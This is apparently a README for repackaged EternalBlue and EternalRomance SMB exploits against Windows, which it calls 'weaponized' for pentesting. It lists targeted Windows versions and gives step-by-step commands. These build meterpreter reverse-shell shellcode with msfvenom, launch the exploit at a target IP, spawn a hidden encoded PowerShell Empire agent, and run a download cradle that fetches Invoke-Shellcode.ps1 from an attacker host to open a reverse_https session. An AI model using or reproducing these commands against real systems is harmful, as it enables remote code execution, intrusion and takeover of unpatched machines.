All credits go out to worawit. I've just added some usage clarifications and weaponized them to be more usable for pentesting purposes.

Eternalblue only requires access to IPC$ to exploit a target while other exploits require access to a named pipe as well. Eternalblue thus works on all versions of Windows that allow anonymous access to IPC$ (Windows 7 and Windows 2008, or later version explicitly configured to allow anonymous access). Keep in mind that Eternalblue has a higher change of crashing a target than Eternalsynergy - Eternalromance, so don't try this on critical systems.

eternalblue_exploit7:

• Windows 7 SP1 x64
• Windows 7 SP1 x86
• Windows Server 2008 R2 SP1 x64
• Windows Server 2008 SP1 x86

eternalblue_exploit8:

• Windows Server 2012 R2 x64
• Windows 8.1 x64

Example for spawning a meterpreter session on an x64 machine:

1. nasm -f bin eternalblue_kshellcode_x64.asm
2. msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT>
3. cat eternalblue_kshellcode_x64 meterpreter_msf.bin > sc_x64.bin
4. python eternalblue_exploit7.py <TARGET_IP> shellcode/sc_x64.bin

This exploit exploits the same bug used by NSA's Eternalromance (and Eternalsynergy). A named pipe is needed, meaning on more modern (default) configurations you will need credentials in order for the exploit to work. In most cases, domain user credentials will suffice.

• Windows 2016 x64
• Windows 10 x64
• Windows 10 x86
• Windows 2012 R2 x64
• Windows 2008 R2 SP1 x64
• Windows 2008 SP1 x64
• Windows 2008 SP1 x86
• Windows 8.1 x64
• Windows 8.1 x86
• Windows 7 SP1 x86
• Windows 7 SP1 x64
• Windows 2003 SP2 x86
• Windows 2003 R2 SP2 x64
• Windows XP SP2 x64
• Windows XP SP3 x86
• Windows 2000 SP4 x86

Example for finding a named pipe (not required anymore, exploit now automatically finds a named pipe on the target):

python find_named_pipe.py 192.168.178.2 testuser Password123

Usage of eternalromance.py:

python eternalromance.py <target_ip_address> <username> <password> <command_to_execute>

Example for spawning an Empire agent:

python eternalromance.py 192.168.178.2 testuser Password123 "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AEUAbQAuAE4AZQBUAC..."

Example for spawning a meterpreter session:

python eternalromance.py 192.168.178.2 testuser Password123 "powershell -Exec ByPass -NoP -noexit \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.3/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.178.3 -Lport 8443 -Force \""

(I typically grab Invoke-Shellcode.ps1 from http://bit.ly/2cuWJTF, but that only works when the target has an unfiltered outbound connection.)